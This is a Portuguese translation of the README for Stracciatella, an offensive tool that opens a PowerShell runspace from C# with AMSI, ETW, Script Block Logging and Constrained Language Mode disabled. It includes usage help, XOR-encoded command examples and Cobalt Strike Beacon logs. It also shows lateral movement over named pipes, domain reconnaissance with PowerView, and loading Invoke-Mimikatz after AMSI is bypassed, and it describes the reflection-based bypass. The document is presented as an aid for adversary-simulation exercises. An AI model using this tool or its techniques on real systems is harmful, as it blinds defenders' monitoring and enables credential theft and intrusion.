
Espaço de execução do Powershell seguro para OpSec a partir de C# (também conhecido como SharpPick) com AMSI, Modo de Linguagem Restrito e Registro de Bloco de Script desabilitados na inicialização.
Espaço de execução do PowerShell a partir de C# (técnica SharpPick) com AMSI, ETW e Registro de Bloco de Script desativados para seu prazer.
Atualmente, quando o PowerShell foi severamente instrumentado pelo uso de técnicas como:
Atacantes avançados devem encontrar maneiras de contornar esses esforços para entregar exercícios sofisticados de simulação adversarial. Para ajudar nesses esforços, o seguinte projeto foi criado.
Este programa se baseia em bypasses para técnicas específicas incluídas em:
Que por sua vez foi baseado nas seguintes pesquisas:
A ideia do SharpPick, de executar scripts PowerShell a partir de um assembly C# usando Runspaces, também não é nova e foi implementada pela primeira vez por Lee Christensen (@tifkin_) em seu:
Além disso, o código-fonte empresta a implementação de CustomPSHost de Lee.
Este projeto herda das pesquisas acima e da grande comunidade de segurança para fornecer um ambiente PowerShell quase eficaz com defesas desabilitadas na inicialização.
Agora compila facilmente com .NET 4.0, enquanto que se compilado com .NET Framework 4.7.1+, uma funcionalidade adicional é incluída que permite descarregar DLLs que constituem artefatos de bypass de CLM e tenta excluí-las depois (honestamente, funciona mal).
O melhor resultado é obtido com Stracciatella compilado com .NET 4.0.
Há algumas opções disponíveis:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
O programa aceita comando e caminho de arquivo de script como entrada. Ambos são opcionais; se nenhum for fornecido, um pseudo-shell será iniciado. Tanto o comando quanto o script podem ser codificados usando XOR de um byte (produzirá saída codificada em Base64) para melhor experiência de OpSec.
Aqui estão alguns exemplos que apresentam casos de uso:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Primeiro, para preparar instruções codificadas, podemos usar o script encoder.py incluso, que pode ser usado da seguinte forma:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Em seguida, alimentamos a saída do encoder.py como entrada sendo um comando codificado para o Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
Onde:
Command foi construído a partir dos seguintes comandos: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - continha: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella vem com um script Aggressor que, quando carregado, expõe o comando stracciatella no console do Beacon. O uso é bastante semelhante ao powerpick (importando previamente scripts PowerShell via stracciatella-import). O parâmetro de entrada será XORed com uma chave aleatória e passado por um Pipe nomeado aleatoriamente para o espaço de execução do Stracciatella.
Os seguintes comandos do Cobalt Strike estão disponíveis:
Uma das estratégias para trabalhar com o Stracciatella poderia ser configurar um tempo limite de leitura de pipe suficientemente longo (1), executá-lo em uma máquina remota (2), tendo assim a opção de movimento lateral sobre pipe nomeado com uma pequena ajuda do Stracciatella.
A vantagem sobre o powerpick é que o Stracciatella não faz patch na AMSI.dll da mesma forma que o Powerpick faz (patch AmsiScanBuffer), gerando potencialmente menos ruído forense visto por EDRs que procuram por patches em memória. Além disso, o Stracciatella eventualmente será capaz de contornar estavelmente o Constrained Language Mode, o que atualmente não é possível usando powerpick.:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Finalmente, o Stracciatella pode ser facilmente usado por outras ferramentas/C2s que não oferecem funcionalidade para evadir proteções do PowerShell.
Sempre que o stracciatella retorna o erro 2 (ERROR_FILE_NOT_FOUND), é porque o Stracciatella atingiu o tempo limite enquanto aguardava internamente que os dados fossem gravados em seu pipe nomeado.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Isso pode ser remediado ajustando o parâmetro de tempo limite do Stracciatella usando:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
O script aggressor associado aproveita rotinas internas do Beacon para escrever em um pipe nomeado aleatoriamente, que na outra extremidade será escutado pela lógica do Stracciatella. A extremidade receptora aguardará dados de entrada por algum período de tempo (parâmetro --timeout nas opções do Stracciatella, padrão de 60 segundos) e, se não houver dados, irá expirar e abortar suavemente. Caso contrário, os comandos recebidos serão decodificados e executados normalmente.
Às vezes, temos scripts PowerShell que não expõem nenhuma função ou carregam reflexivamente módulos .NET que gostaríamos de invocar de um runtime PowerShell. Para facilitar esse caso de uso, o comando Beacon stracciatella-script <scriptpath> <command> pode ser usado. Ele lê o arquivo de script PowerShell especificado e anexa o <command> fornecido, separado por ponto e vírgula, a esse script.
O script Aggressor do Stracciatella (CNA) detecta se há BOF.NET carregado e, se sim, expõe um comando:
bofnet_loadstracciatella
Isso emite bofnet_load stracciatella.exe. Além disso, o Stracciatella então será executado através de bofnet_jobassembly em vez do execute-assembly embutido do Cobalt.
Esse comportamento é ajustável alterando a variável global no script stracciatella.cna:
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.
# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Pelo uso de reflexão, conforme descoberto por Matt Graeber, mas a abordagem do programa foi ligeiramente modificada. Em vez de referir-se a símbolos por seus nomes, como "amsiInitFailed" - nós os procuramos percorrendo cada Assembly, Método, Tipo e Campo disponível para ser obtido reflexivamente. Em seguida, desabilitamos o AMSI através da manipulação de variáveis NonPublic & Static no assembly Management.Automation. O mesmo vale para o log de Bloco de Script, embora neste caso algumas ideias foram baseadas nas pesquisas de Ryan Cobb (@cobbr).
Na verdade, o Stracciatella usa a mesma implementação já abordada nos meus arquivos Disable-*.ps1 mencionados acima.
Além disso, não tentamos fazer patch na amsi.dll, isso é um pouco barulhento demais e pode ser monitorado de perto no futuro próximo por EDRs/HIPS/AVs. Corromper a integridade das bibliotecas do sistema definitivamente perde terreno em comparação com a manipulação de variáveis reflexivas.
Invoke-Mimikatz, sim?Claro, aqui vai:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
Atualmente, a forma como o Stracciatella fornece espaço de execução para comandos PowerShell não é a mais furtiva. Basicamente, criamos um runspace do PowerShell, que carrega o assembly .NET correspondente. Isso pode ser considerado um sinal de que o processo do stracciatella é um tanto suspeito.
Este e outros projetos são resultado de noites sem dormir e muito trabalho duro. Se você gosta do que faço e aprecia que eu sempre retribuo à comunidade, Considere me pagar um café (ou melhor, uma cerveja) só para dizer obrigado! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Comando Cobalt Strike | Descrição |
|---|
stracciatella [-v] <command> | executa os comandos fornecidos |
stracciatella-remote [-v] <machine> <pipename> <command> | executa os comandos fornecidos em uma máquina remota no pipe especificado |
stracciatella-import <scriptpath> | importa um script PowerShell para uso com Stracciatella |
stracciatella-script <scriptpath> <command> | pré-carrega um comando PowerShell com um script PowerShell (ps1) especificado (combinação de stracciatella-import e stracciatella em uma única operação) |
stracciatella-clear | limpa o script importado naquele Beacon |
stracciatella-timeout <milliseconds> | ajusta o tempo limite de leitura do pipe nomeado padrão |
bofnet_loadstracciatella | carrega Stracciatella.exe no BOF.NET (se estiver sendo usado) |
bofnet_stracciatella <command> | (não bloqueante) Executa comandos PowerShell em um espaço de execução seguro do Stracciatella via BOF.NET bofnet_jobassembly |
bofnet_executestracciatella <command> | (bloqueante) Executa comandos PowerShell em um espaço de execução seguro do Stracciatella via BOF.NET bofnet_executeassembly |
bofnet_stracciatella_script <scriptpath> <command> | Pré-carrega um script PowerShell especificado e executa o comando fornecido com parâmetros (via BOF.NET) |